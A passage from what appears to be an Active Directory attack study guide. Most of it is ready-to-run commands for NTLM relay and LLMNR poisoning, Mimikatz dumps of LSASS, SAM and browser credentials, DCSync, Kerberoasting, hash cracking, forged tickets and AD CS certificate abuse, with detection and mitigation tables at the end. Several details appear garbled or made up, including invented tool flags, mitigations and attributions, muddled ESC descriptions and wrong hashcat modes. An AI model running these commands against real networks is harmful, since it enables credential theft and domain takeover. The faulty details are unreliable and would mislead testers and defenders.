# Terminal 2: Start ntlmrelayx to relay to SMB
python3 ntlmrelayx.py -t smb://10.0.0.5 --escalate-user target_user
# Terminal 3: Start ntlmrelayx to relay to LDAP
python3 ntlmrelayx.py -t ldap://10.0.0.1 --escalate-user target_user
# Terminal 4: Start ntlmrelayx to relay to HTTP
python3 ntlmrelayx.py -t http://10.0.0.5
Using ntlmrelayx with various targets
# Relay to SMB and execute command
python3 ntlmrelayx.py -t smb://10.0.0.5 -c "whoami"
# Relay to LDAP and add a DA user
python3 ntlmrelayx.py -t ldap://10.0.0.1 --escalate-user target_user
# Relay to WMI
python3 ntlmrelayx.py -t wmi://10.0.0.5
# Relay to WinRM
python3 ntlmrelayx.py -t http://10.0.0.5:5985/wsman
# Generic relay (auto-detect protocol)
python3 ntlmrelayx.py -t 10.0.0.5
Using CrackMapExec for relay
# Find relay targets
crackmapexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
# Relay to discovered targets
python3 ntlmrelayx.py -t smb://$(cat relay_targets.txt)
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor for NTLM authentication from unusual source IPs | Enable SMB Signing on all servers |
| Alert on LDAP bind from unexpected sources | Enable LDAP Signing and Channel Binding |
| Monitor for Responder/poisoning activity (LLMNR/NBT-NS) | Disable LLMNR and NBT-NS via Group Policy |
| Monitor for multiple NTLM auth attempts in short time | Use Kerberos instead of NTLM where possible |
| Deploy Network Device Enrollment Protocol (NDEP) |
3.6 NTLM Reflection
Vulnerability Explanation
- A variant of NTLM relay where the attacker reflects the challenge back
- The victim’s own response is used to authenticate back to the victim
- Requires bypassing the loopback check or using a different target
- Often used in combination with other relay techniques
Prerequisites
- Same as NTLM relay
- Target must accept authentication from the relay source
Step-by-Step Exploitation
# Using ntlmrelayx with reflection
python3 ntlmrelayx.py -t smb://10.0.0.5 --reflect
# The attacker reflects the victim's authentication back to themselves
# This can bypass certain protections
3.7 Responder Usage
Overview
- Responder is an LLMNR/NBT-NS/mDNS poisoner
- Captures NTLM hashes from network traffic
- Can be used standalone or with ntlmrelayx
Common Commands
# Basic LLMNR/NBT-NS poisoning
Responder -I eth0 -wrfA
# Poison only (no relay)
Responder -I eth0 -wrf -rdP
# Target specific subnet
Responder -I eth0 -wrf -r -dP -BFile brute.txt
# HTTP/SMB server mode
Responder -I eth0 -wrf -rdP --Challenge 1122334455667788
Key Options
| Option | Description |
|---|---|
-I |
Interface to listen on |
-w |
Enable NBT-NS poisoning |
-r |
Enable LLMNR poisoning |
-f |
Force file share responses |
-A |
Answer all LLMNR/NBT-NS requests |
-dP |
Don’t poison DHCP |
-BFile |
Brute force mode with wordlist |
3.8 Inveigh Usage
Overview
- Inveigh is a PowerShell-based LLMNR/NBT-NS/mDNS/DNSv6 poisoner
- Runs natively on Windows (no Python required)
- Supports relay and hash capture modes
Common Commands
# Import Inveigh
Import-Module .\Inveigh.ps1
# Start Inveigh in capture mode
Inveigh -Capture B -Relay B -ConsoleOutput A
# Start with specific options
Inveigh -Enable 1 -Capture 1 -Relay 0 -DNS 1 -LLMNR 1 -NBNS 1
# Relay mode
Inveigh -Enable 1 -Capture 0 -Relay 1 -RelayHost 10.10.10.5 -RelayPort 445
4. Credential Dumping
4.1 Mimikatz Mastery
Overview
- Mimikatz is the most powerful credential dumping tool
- Extracts passwords, hashes, PINs, and Kerberos tickets from memory
- Operates at the kernel and user level
- Requires administrative privileges on the target system
Core Modules
| Module | Function |
|---|---|
sekurlsa |
LSASS memory extraction (passwords, hashes, tickets) |
kerberos |
Kerberos ticket manipulation |
lsadump |
SAM/DCSync/LAPs extraction |
dpapi |
DPAPI credential extraction |
token |
Token manipulation and impersonation |
privilege |
Privilege escalation |
crypto |
Certificate and key extraction |
Essential Commands
# === Privilege Escalation ===
privilege::debug
# === LSASS Memory Extraction ===
sekurlsa::logonpasswords # All logon sessions
sekurlsa::logonpasswords /user:Administrator # Specific user
sekurlsa::wdigest # WDigest credentials
sekurlsa::kerberos # Kerberos tickets
sekurlsa::tickets /export # Export all tickets
sekurlsa::pth /user:admin /domain:domain /ntlm:HASH /run:cmd.exe
# === Kerberos Operations ===
kerberos::list # List current tickets
kerberos::ptt ticket.kirbi # Pass the Ticket
kerberos::golden # Gold Ticket
kerberos::s4u # S4U attacks
# === SAM / DCSync ===
lsadump::sam # Dump SAM database
lsadump::dcsync /user:domain\krbtgt # DCSync attack
lsadump::lsa /inject /name:mimikatz # LSA secrets
# === DPAPI ===
dpapi::chrome /in:"C:\Users\user\AppData\Local\Google\Chrome\User Data\Login Data"
dpapi::cred /in:"C:\Users\user\AppData\Roaming\Microsoft\Protect\...\cred"
4.2 LSASS Memory Extraction Methods
Overview
- LSASS (Local Security Authority Subsystem Service) stores authentication data in memory
- Multiple methods exist to extract credentials from LSASS
- Each method has different detection profiles
Extraction Methods Comparison
| Method | Tool | Detection Risk | Description |
|---|---|---|---|
| MiniDumpWriteDump | Mimikatz, Procdump | Medium | Creates memory dump of LSASS |
| sekurlsa::logonpasswords | Mimikatz | High | Direct memory reading via DLL injection |
| Task Manager | Built-in | Low | Manual dump via Task Manager |
| Comsvcs.dll | Mimikatz | Medium | Alternative DLL for dump creation |
| SSP (Secret Store Provider) | Mimikatz | Low | Custom SSP DLL captures creds at auth time |
| DPAPI | Mimikatz | Low | Extracts DPAPI-protected credentials |
| WDigest | Mimikatz | Medium | Extracts plaintext passwords from WDigest |
Step-by-Step: MiniDump Method
# Using Mimikatz
sekurlsa::minidump /process:lsass
# Or using Procdump
procdump.exe -ma lsass.exe lsass.dmp
# Then analyze with Mimikatz
sekurlsa::logonpasswords
Step-by-Step: Direct Injection
# Using Mimikatz (requires debug privilege)
privilege::debug
sekurlsa::logonpasswords
4.3 SAM Database Extraction
Vulnerability Explanation
- The SAM (Security Accounts Manager) database stores local account hashes
- Located at
C:\Windows\System32\config\SAM - Requires SYSTEM privileges to access
- Contains local user hashes (not domain hashes)
Step-by-Step Exploitation
Using Mimikatz
# Dump SAM database
lsadump::sam
# Export SAM to file
lsadump::sam /system:C:\Windows\System32\config\SYSTEM /sam:C:\Windows\System32\config\SAM
Using Impacket (secretsdump)
# Dump SAM remotely via SMB
python3 secretsdump.py -sam SAM.hiv -security SECURITY.hiv -system SYSTEM.hiv LOCAL
# Dump SAM, SECURITY, and SYSTEM from a target
python3 secretsdump.py domain.com/admin:password@10.0.0.5 -just-dc
4.4 DPAPI Credential Extraction
Vulnerability Explanation
- DPAPI (Data Protection API) encrypts sensitive data (browser creds, WiFi passwords)
- Uses user-specific and machine-specific keys
- If you have the user’s master key, you can decrypt DPAPI-protected data
- Master keys can be derived from the user’s NTLM hash
Step-by-Step Exploitation
# === Extract Chrome credentials ===
dpapi::chrome /in:"C:\Users\user\AppData\Local\Google\Chrome\User Data\Login Data"
# === Extract Edge credentials ===
dpapi::chrome /in:"C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Login Data" /browser:edge
# === Extract Windows Credential Manager ===
dpapi::cred
# === Decrypt a specific DPAPI blob ===
dpapi::blob /in:blob.bin /masterkey:masterkey_hex
# === Extract master key ===
dpapi::masterkey /in:"C:\Users\user\AppData\Roaming\Microsoft\Protect\SID\key" /password:password
4.5 Credential Manager Access
Overview
- Windows Credential Manager stores usernames and passwords
- Accessible via
cmdkeycommand or Credential Manager GUI - Can be enumerated and used for authentication
Commands
# List stored credentials
cmdkey /list
# Add a credential
cmdkey /generic:target /user:username /pass:password
# Delete a credential
cmdkey /delete:target
# Using stored credential
runas /savecred /user:domain\admin "cmd.exe"
5. Hash Cracking for AD
5.1 Hashcat Modes for AD
| Hash Type | Hashcat Mode | Format | Description |
|---|---|---|---|
| NTLM | 1000 | username:rid:ntlm:lm: |
Standard NTLM hash |
| Kerberos 5 TGS (RC4) | 13100 | $krb5tgs$23$... |
Kerberoasting (etype 23) |
| Kerberos 5 TGS (AES128) | 19600 | $krb5tgs$17$... |
Kerberoasting (etype 17) |
| Kerberos 5 TGS (AES256) | 19600 | $krb5tgs$18$... |
Kerberoasting (etype 18) |
| Kerberos 5 AS-REP (RC4) | 18200 | $krb5asrep$23$... |
AS-REP Roasting (etype 23) |
| Kerberos 5 AS-REP (AES128) | 19100 | $krb5asrep$17$... |
AS-REP Roasting (etype 17) |
| Kerberos 5 AS-REP (AES256) | 19200 | $krb5asrep$18$... |
AS-REP Roasting (etype 18) |
| Kerberos 5 TGT (RC4) | 7500 | $krb5tgs$23$... |
TGT cracking |
| Kerberos 5 TGT (AES128) | 7600 | $krb5tgs$17$... |
TGT cracking AES128 |
| Kerberos 5 TGT (AES256) | 7700 | $krb5tgs$18$... |
TGT cracking AES256 |
| NetNTLMv2 | 5600 | username::domain:challenge:response: |
NTLMv2 challenge-response |
5.2 TGT Cracking
# Crack TGT with RC4 (etype 23)
hashcat -m 7500 tgt_hash.txt rockyou.txt -O
# Crack TGT with AES128 (etype 17)
hashcat -m 7600 tgt_hash.txt rockyou.txt
# Crack TGT with AES256 (etype 18)
hashcat -m 7700 tgt_hash.txt rockyou.txt
# Rule-based attack
hashcat -m 7500 tgt_hash.txt rockyou.txt -r rules/best64.rule -O
# Mask attack (if you know the password pattern)
hashcat -m 7500 tgt_hash.txt ?u?l?l?l?d?d?d?d -O
5.3 TGS Cracking (Kerberoasting)
# RC4-HMAC (most common)
hashcat -m 13100 kerberoast.txt rockyou.txt -O --session kerberoast-rc4
# AES128
hashcat -m 19600 kerberoast_aes128.txt rockyou.txt --session kerberoast-aes128
# AES256
hashcat -m 19600 kerberoast_aes256.txt rockyou.txt --session kerberoast-aes256
# With custom rules
hashcat -m 13100 kerberoast.txt rockyou.txt -r rules/one33333333.rule -O
# Brute force with mask
hashcat -m 13100 kerberoast.txt ?u?l?l?l?l?l?l?d?d -O
5.4 NTLM Cracking
# Standard NTLM hash
hashcat -m 1000 ntlm_hashes.txt rockyou.txt -O
# With rules
hashcat -m 1000 ntlm_hashes.txt rockyou.txt -r rules/best64.rule -O
# NetNTLMv2
hashcat -m 5600 netntlmv2.txt rockyou.txt -O
# Combined attack (dictionary + rule + mask)
hashcat -m 1000 ntlm_hashes.txt rockyou.txt -r rules/best64.rule -a 6 ?u?l?l?l?d?d -O
5.5 Hashcat Optimization Tips
| Tip | Command |
|---|---|
| Use GPU optimization | -O flag |
| Use multiple GPUs | --devices 1,2,3 |
| Session management | --session name |
| Restore paused session | --restore |
| Custom rules | -r rules/custom.rule |
| Combine attacks | -a 6 (dictionary + mask) |
| Remove already cracked | --remove |
| Show cracked passwords | --show |
6. Golden vs Silver Ticket
6.1 Comparison Table
| Feature | Gold Ticket | Silver Ticket |
|---|---|---|
| Ticket Type | Forged TGT | Forged TGS |
| Required Hash | krbtgt NTLM hash | Service account NTLM hash |
| Scope | Any service in the domain | Specific service only |
| KDC Interaction | None (fully offline) | None (fully offline) |
| Detection | Hard (no KDC events) | Hard (no KDC events) |
| Lifetime | Up to 10 years | Configurable (default 10 hours) |
| Impact | Full domain compromise | Single service compromise |
| Required Info | Domain SID, krbtgt hash, domain name | Domain SID, service hash, SPN, target host |
| Event Logs | No 4768/4769 events | No 4769 events for ticket creation |
| Mitigation | Rotate krbtgt twice | Strong service account passwords, gMSA |
6.2 Decision Flowchart
graph TD
A[What hash do you have?] -->|krbtgt hash| B[Gold Ticket]
A -->|Service account hash| C[Silver Ticket]
A -->|User NTLM hash| D[Pass-the-Hash / Overpass-the-Hash]
B --> E[Access ANY service in domain]
C --> F[Access specific service only]
D --> G[Authenticate as user via NTLM/Kerberos]
E --> H[Full Domain Compromise]
F --> I[Service-Level Access]
G --> J[User-Level Access]
7. PAC Binding Attacks
7.1 What is PAC?
- PAC (Privilege Attribute Certificate) is an AD extension to Kerberos
- Contains the user’s group memberships and privileges
- Embedded in the TGT and service tickets
- Signed by the KDC using a PAC signing key
- Used by Windows services to authorize access
7.2 PAC Binding Attack
Vulnerability Explanation
- The PAC signing key is stored on the Domain Controller
- If an attacker obtains the PAC signing key, they can forge PACs
- A forged PAC can grant any group membership (including Domain Admins)
- This is essentially a variant of the Gold Ticket attack
Prerequisites
- PAC signing key from the Domain Controller
- Domain SID
- Ability to modify ticket authorization data
Step-by-Step Exploitation
# Using Mimikatz to extract PAC signing key
lsadump::patch
# Create a ticket with forged PAC
kerberos::golden /user:attacker /sid:<domain_sid> \
/rc4:<krbtgt_hash> /krbtgt \
/domain:domain.com /ptt \
/pacs
# The /pacs flag includes forged PAC data
Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor for PAC validation failures (Event 4769) | Protect Domain Controllers with tiered admin model |
| Alert on PAC size anomalies | Regularly rotate PAC signing keys |
| Monitor for unauthorized group membership changes | Implement strict DC access controls |
| Use Kerberos ARM (Account Restriction Mode) |
8. Certificate-Based Authentication Attacks
8.1 ESC1-ESC8 Vulnerabilities
Overview
- AD CS (Active Directory Certificate Services) has multiple misconfiguration vulnerabilities
- ESC1-ESC8 are the most common attack paths identified by @Sh3r4 and @Leereilly
- Each ESC represents a different misconfiguration or abuse vector
ESC Vulnerabilities Summary
| ESC | Name | Description | Required Access | Impact |
|---|---|---|---|---|
| ESC1 | Vulnerable Certificate Template | Template allows enrollment with ENROLLEE_SUPPLIES_SUBJECT | Enrollment rights on vulnerable template | Forge cert for any user |
| ESC2 | Vulnerable Certificate Template (Misconfigured) | Template has no authorization requirements | Enrollment rights on vulnerable template | Forge cert for any user |
| ESC3 | Enrollment Agent Template | Template has ENROLLEE_SUPPLIES_SUBJECT + CERTIFICATE_MANAGER | Enrollment rights on enrollment agent template | Full domain compromise |
| ESC4 | Misconfigured Issuance Policy | Issuance policy allows any user to enroll | Enrollment rights | Forge cert for any user |
| ESC5 | Edit Attributes Without Enrollment | Write access to certificate template | GenericWrite on template object | Modify template to be vulnerable |
| ESC6 | Vulnerable Template + Enrollment Agent | Combination of ESC1/ESC2 with enrollment agent | Enrollment rights | Forge cert for any user |
| ESC7 | Authentication on Registration | No authentication required for enrollment | Network access | Forge cert without credentials |
| ESC8 | No Security Extension | Template missing security extension | Enrollment rights | Forge cert for any user |
8.2 ESC1 - Vulnerable Certificate Template
Vulnerability Explanation
- Certificate template has
ENROLLEE_SUPPLIES_SUBJECTflag - Allows the enrollee to specify any Subject (any username)
- If a user can enroll in this template, they can request a certificate for any account
- Including Domain Admin or Enterprise Admin
Step-by-Step Exploitation
# Step 1: Find vulnerable templates
Certify.exe find /vuln
# Step 2: Request a certificate for a high-privilege user
Certify.exe request /ca:DC01.domain.com\CA /template:VulnerableTemplate /subject:"CN=Administrator,CN=Users,DC=domain,DC=com"
# Step 3: Authenticate using the certificate
Rubeus.exe asktgs /service:cifs/fileserver.domain.com /certificate:cert.pfx /password:password
# Step 4: Use the ticket
Rubeus.exe ptt /ticket:ticket.kirbi
8.3 ESC3 - Enrollment Agent Template
Vulnerability Explanation
- Template has
CERTIFICATE_MANAGERrights - Allows the enrollee to act as an enrollment agent
- Can request certificates on behalf of any user
- Most dangerous ESC — leads to full domain compromise
Step-by-Step Exploitation
# Step 1: Find enrollment agent templates
Certify.exe find /vuln
# Step 2: Request enrollment agent certificate
Certify.exe request /ca:DC01.domain.com\CA /template:EnrollmentAgent
# Step 3: Use enrollment agent to request cert for DA
Certify.exe request /ca:DC01.domain.com\CA /template:User /onbehalfof:"domain\Administrator" /certificate:agent_cert.pfx
# Step 4: Authenticate as DA
Rubeus.exe asktgs /service:cifs/dc01.domain.com /certificate:admin_cert.pfx
8.4 ESC5 - Edit Attributes Without Enrollment
Vulnerability Explanation
- Attacker has
GenericWriteorWriteDaclon a certificate template - Can modify the template to add vulnerable flags
- Then enroll in the modified template
- Two-step attack: modify, then exploit
Step-by-Step Exploitation
# Step 1: Find templates you can modify
Certify.exe find /vuln
# Step 2: Modify the template to add ENROLLEE_SUPPLIES_SUBJECT
Certify.exe modify /template:TargetTemplate /addflag:ENROLLEE_SUPPLIES_SUBJECT
# Step 3: Request a certificate for any user
Certify.exe request /ca:DC01.domain.com\CA /template:TargetTemplate /subject:"CN=Administrator,CN=Users,DC=domain,DC=com"
# Step 4: Use the certificate
Rubeus.exe asktgs /service:cifs/dc01.domain.com /certificate:cert.pfx
8.5 Certify-the-Box Usage
Overview
- Certify is the primary tool for AD CS attacks
- Developed by @Sh3r4
- Supports all ESC1-ESC8 attack paths
Common Commands
# Find vulnerable templates and configurations
Certify.exe find /vuln
# Find all templates
Certify.exe find
# Request a certificate
Certify.exe request /ca:DC01.domain.com\CA /template:TemplateName
# Request certificate for specific user
Certify.exe request /ca:DC01.domain.com\CA /template:TemplateName /subject:"CN=TargetUser,CN=Users,DC=domain,DC=com"
# Relay attack against AD CS
Certify.exe relay /ca:DC01.domain.com\CA
# Modify a template
Certify.exe modify /template:TemplateName /addflag:ENROLLEE_SUPPLIES_SUBJECT
# Check enrollment rights
Certify.exe find /enrollment
8.6 AD CS Attack Flow
graph TB
subgraph Recon["Reconnaissance"]
A1[Identify CA Server]
A2[Enumerate Templates]
A3[Check Enrollment Rights]
A4[Find Vulnerable Configs]
end
subgraph Exploit["Exploitation"]
B1[ESC1/ESC2: Enroll with arbitrary subject]
B2[ESC3: Enrollment Agent abuse]
B3[ESC5: Modify template then enroll]
B4[ESC7: No-auth enrollment]
B5[NTLM Relay to AD CS]
end
subgraph Post["Post-Exploitation"]
C1[Authenticate with certificate]
C2[Request TGT via Rubeus]
C3[Access target resources]
C4[DCSync / Domain Admin]
end
A1 --> A2 --> A3 --> A4
A4 --> B1 & B2 & B3 & B4 & B5
B1 & B2 & B3 & B4 & B5 --> C1 --> C2 --> C3 --> C4
9. Tools Reference
9.1 Rubeus
Overview
- C# tool for Kerberos attacks
- Runs natively on Windows (no compilation needed)
- Supports all major Kerberos attack types
Common Commands
# === Ticket Operations ===
Rubeus.exe triage # List all tickets
Rubeus.exe dump /ticket:<id> # Dump specific ticket
Rubeus.exe dump /service:krbtgt # Dump all TGTs
Rubeus.exe ptt /ticket:ticket.kirbi # Pass the Ticket
# === Kerberoasting ===
Rubeus.exe kerberoast /stats # Show SPN statistics
Rubeus.exe kerberoast /outfile:hashes.txt # Roast all SPNs
Rubeus.exe kerberoast /spn:MSSQLSvc/sql.domain.com # Roast specific SPN
# === AS-REP Roasting ===
Rubeus.exe asreproast /format:hashcat /outfile:asreproast.txt
# === TGT Request ===
Rubeus.exe asktgt /user:admin /rc4:HASH /ptt # Request TGT with hash
Rubeus.exe asktgt /user:admin /aes256:KEY /ptt # Request TGT with AES key
# === Delegation ===
Rubeus.exe delegate /nowrap # Show delegation info
Rubeus.exe s4u /user:svc /rc4:HASH /impersonateuser:admin /msdsspn:cifs/target /ptt
# === Gold/Silver Tickets ===
Rubeus.exe golden /user:admin /rc4:KRBTGT_HASH /sid:SID /domain:domain.com /ptt
Rubeus.exe tgs /rc4:SERVICE_HASH /service:cifs /target:server.domain.com /ptt
# === Certificate Auth ===
Rubeus.exe asktgs /service:cifs/server.domain.com /certificate:cert.pfx
9.2 Impacket
Overview
- Python library for network protocols
- Includes powerful AD attack tools
- Cross-platform (Linux, macOS, Windows)
Common Commands
# === Kerberoasting ===
python3 GetUserSPNs.py domain.com/user:pass -request-from spn -dc-ip 10.0.0.1
# === AS-REP Roasting ===
python3 GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat -outputfile asreproast.txt
# === DCSync ===
python3 secretsdump.py domain.com/admin:pass@10.0.0.1
python3 secretsdump.py domain.com/admin:pass@10.0.0.1 -just-dc-ntlm
python3 secretsdump.py domain.com/admin:pass@10.0.0.1 -just-dc-user krbtgt
# === Pass-the-Hash ===
python3 psexec.py -hashes :NTLM_HASH domain.com/user@10.0.0.5
python3 wmiexec.py -hashes :NTLM_HASH domain.com/user@10.0.0.5
python3 smbexec.py -hashes :NTLM_HASH domain.com/user@10.0.0.5
# === NTLM Relay ===
python3 ntlmrelayx.py -t smb://10.0.0.5
python3 ntlmrelayx.py -t ldap://10.0.0.1 --escalate-user target_user
# === RBCD ===
python3 rbcd.py domain.com/user:pass -action write -delegate-on target -delegate-from attacker
# === Shadow Credentials ===
python3 shadowcoerce.py domain.com/user:pass -target targetcomputer$
# === Computer Account Creation ===
python3 addcomputer.py domain.com/user:pass -computer-name NEWPC -computer-pass Password123!
9.3 Mimikatz
Overview
- The Swiss Army knife of credential dumping
- Requires administrative privileges
- Multiple modules for different attack types
Essential Command Reference
# === Start with privileges ===
privilege::debug
# === LSASS Extraction ===
sekurlsa::logonpasswords # All credentials
sekurlsa::logonpasswords /user:admin # Specific user
sekurlsa::kerberos # Kerberos tickets
sekurlsa::tickets /export # Export tickets
sekurlsa::wdigest # WDigest creds
sekurlsa::mscache # NTLMv2 hashes
# === Pass the Hash ===
sekurlsa::pth /user:admin /domain:domain.com /ntlm:HASH /run:cmd.exe
# === Kerberos ===
kerberos::list # List tickets
kerberos::ptt ticket.kirbi # Inject ticket
kerberos::golden /user:admin /sid:SID /rc4:HASH /domain:domain.com /ptt
kerberos::s4u /user:victim@domain.com /service:cifs/target
# === DCSync ===
lsadump::dcsync /user:domain\krbtgt
lsadump::dcsync /user:domain\Administrator
# === SAM ===
lsadump::sam
# === DPAPI ===
dpapi::chrome
dpapi::cred
dpapi::masterkey /in:path /password:pass
# === Token Manipulation ===
token::elevate # Elevate to SYSTEM
token::revert # Revert to original token
9.4 CrackMapExec / NetExec
Overview
- Network enumeration and exploitation tool
- Supports SMB, WinRM, WMI, LDAP, and more
- NetExec is the successor to CrackMapExec
Common Commands
# === SMB Enumeration ===
crackmapexec smb 10.0.0.0/24 -u user -p password
netexec smb 10.0.0.0/24 -u user -p password
# === Pass the Hash ===
crackmapexec smb 10.0.0.0/24 -u '' -H NTLM_HASH
netexec smb 10.0.0.0/24 -u '' -H NTLM_HASH
# === Command Execution ===
crackmapexec smb 10.0.0.5 -u user -p pass -x "whoami"
netexec smb 10.0.0.5 -u user -p pass -x "whoami"
# === User Enumeration ===
crackmapexec smb 10.0.0.5 -u user -p pass --users
crackmapexec smb 10.0.0.5 -u user -p pass --groups
# === Share Enumeration ===
crackmapexec smb 10.0.0.5 -u user -p pass --shares
crackmapexec smb 10.0.0.5 -u user -p pass --shares -d
# === DCSync ===
crackmapexec smb 10.0.0.1 -u user -p pass --dcsync
crackmapexec smb 10.0.0.1 -u user -p pass --dcsync-user krbtgt
# === Kerberoasting ===
crackmapexec smb 10.0.0.5 -u user -p pass --kerberoasting
netexec smb 10.0.0.5 -u user -p pass --kerberoasting
# === AS-REP Roasting ===
crackmapexec smb 10.0.0.5 -u user -p pass --asreproast
# === NTLM Relay Preparation ===
crackmapexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
# === LDAP Enumeration ===
crackmapexec ldap 10.0.0.1 -u user -p pass
netexec ldap 10.0.0.1 -u user -p pass
# === GPP Passwords ===
crackmapexec smb 10.0.0.0/24 -u user -p pass --gpp-passwords
crackmapexec smb 10.0.0.0/24 -u user -p pass --gpp-autologin
9.5 Kerbrute
Overview
- Go-based tool for Kerberos brute force and AS-REP roasting
- Fast and efficient
- Supports user enumeration, password spraying, and AS-REP roasting
Common Commands
# === User Enumeration ===
kerbrute userenum -d domain.com -users usernames.txt -o users_output.txt
# === Password Brute Force ===
kerbrute bruteuser -d domain.com -users usernames.txt -passwords passwords.txt
# === Password Spraying ===
kerbrute passwordspray -d domain.com -users usernames.txt -password P@ssw0rd
# === AS-REP Roasting ===
kerbrute asreproast -d domain.com -users usernames.txt -o asreproast_output.txt
# === Domain User Enumeration (no user list) ===
kerbrute userenum -d domain.com -domain domain.com
10. Quick Reference Tables
10.1 Attack Prerequisites Summary
| Attack | Minimum Access | Required Data | Tools |
|---|---|---|---|
| Kerberoasting | Domain user | None | Rubeus, Impacket, CME |
| AS-REP Roasting | None | None | Rubeus, Impacket, Kerbrute |
| Silver Ticket | Service account hash | Domain SID, SPN | Mimikatz, Rubeus |
| Gold Ticket | krbtgt hash | Domain SID, domain name | Mimikatz, Rubeus |
| Pass-the-Hash | NTLM hash | None | Mimikatz, Impacket, CME |
| Pass-the-Ticket | Kerberos ticket | None | Mimikatz, Rubeus |
| NTLM Relay | Network position | None | Responder, ntlmrelayx |
| Unconstrained Delegation | Compromise delegated machine | None | Mimikatz, Rubeus |
| RBCD | Domain user + write access | Target computer name | Impacket, PowerView |
| Shadow Credentials | WriteProperty on account | None | Mimikatz, Certify |
| ESC1-ESC8 | Enrollment rights | CA info | Certify, Rubeus |
10.2 Hashcat Mode Quick Reference
| Hash Format Prefix | Hashcat Mode | Attack Type |
|---|---|---|
$krb5tgs$23$ |
13100 | Kerberoasting RC4 |
$krb5tgs$17$ |
19600 | Kerberoasting AES128 |
$krb5tgs$18$ |
19600 | Kerberoasting AES256 |
$krb5asrep$23$ |
18200 | AS-REP Roast RC4 |
$krb5asrep$17$ |
19100 | AS-REP Roast AES128 |
$krb5asrep$18$ |
19200 | AS-REP Roast AES256 |
username:rid:ntlm: |
1000 | NTLM Hash |
user::domain:chal:resp: |
5600 | NetNTLMv2 |
10.3 Event ID Reference
| Event ID | Description | Relevance |
|---|---|---|
| 4768 | Kerberos TGT issued | AS-REP Roasting, Overpass-the-Hash |
| 4769 | Kerberos TGS issued | Kerberoasting, Delegation attacks |
| 4771 | Kerberos pre-auth failure | Brute force detection |
| 4624 | Logon success | Pass-the-Hash, NTLM Relay |
| 4625 | Logon failure | Brute force detection |
| 5136 | Directory service changes | RBCD, Shadow Credentials, ESC5 |
| 4764 | Service account password set | gMSA rotation |
| 4762 | Kerberos encryption type changed | Encryption policy changes |
10.4 Kerberos Encryption Types
| etype | Algorithm | Hashcat Mode (TGS) | Strength |
|---|---|---|---|
| 23 | RC4-HMAC | 13100 | Weak |
| 17 | AES128-HMAC-SHA1 | 19600 | Medium |
| 18 | AES256-HMAC-SHA1 | 19600 | Strong |
| 16 | DES-CBC-MD5 | — | |
| 1 | DES-CBC-CRC | — | Broken |
Appendix A: Kerberos Attack Decision Tree
graph TD
START[Start: What do you have?]
START -->|No credentials| NO_CRED[No Credentials Path]
START -->|Domain user| USER_CRED[Domain User Path]
START -->|Service account hash| SVC_HASH[Service Hash Path]
START -->|krbtgt hash| KRBTGT[Krbtgt Hash Path]
START -->|NTLM hash| NTLM[NTLM Hash Path]
NO_CRED --> ASREP[AS-REP Roasting]
NO_CRED --> RESPOND[Responder / LLMNR Poisoning]
USER_CRED --> KERB[Kerberoasting]
USER_CRED --> ENUM[Enumerate Delegation]
USER_CRED --> ADCS[Check AD CS / ESC]
USER_CRED --> CME[CrackMapExec Enumeration]
ENUM --> UNCONST[Unconstrained Delegation]
ENUM --> CONST[Constrained Delegation]
ENUM --> RBCD_CHECK[Resource-Based CD]
SVC_HASH --> SILVER[Silver Ticket]
SVC_HASH --> S4U[S4U2Self/S4U2Proxy]
KRBTGT --> GOLD[Gold Ticket]
KRBTGT --> PAC[PAC Binding Attack]
NTLM --> PTH[Pass-the-Hash]
NTLM --> OTPH[Overpass-the-Hash]
NTLM --> RELAY[NTLM Relay]
ADCS --> ESC1[ESC1-ESC8 Check]
ESC1 --> CERT[Certificate Attack]
Appendix B: Mitigation Checklist
Kerberos Hardening
- Enable Kerberos pre-authentication for all accounts
- Force AES encryption (disable RC4)
- Use gMSA for all service accounts
- Rotate krbtgt password regularly (twice after any compromise)
- Implement tiered administration model
- Enable Kerberos ARM (Account Restriction Mode)
- Set short ticket lifetimes via Group Policy
- Monitor Event IDs 4768, 4769, 4771
NTLM Hardening
- Disable NTLM where Kerberos is available
- Enable SMB Signing on all servers
- Enable LDAP Signing and Channel Binding
- Disable LLMNR and NBT-NS
- Implement NTLM audit policies
- Use Group Policy to restrict NTLM authentication
Credential Protection
- Enable LSA Protection (RunAsPPL)
- Enable Credential Guard
- Implement LAPS for local admin passwords
- Restrict LSASS access
- Use Group Policy to disable WDigest
- Implement privileged access workstations (PAWs)
AD CS Hardening
- Audit all certificate templates
- Remove ENROLLEE_SUPPLIES_SUBJECT from non-admin templates
- Restrict enrollment rights
- Monitor for ESC1-ESC8 misconfigurations
- Use Certify to regularly scan for vulnerabilities
- Restrict who can modify certificate templates
This study guide covers the core concepts and techniques for attacking Active Directory authentication. Practice each technique in a lab environment to build proficiency. Always ensure you have proper authorization before testing any of these techniques.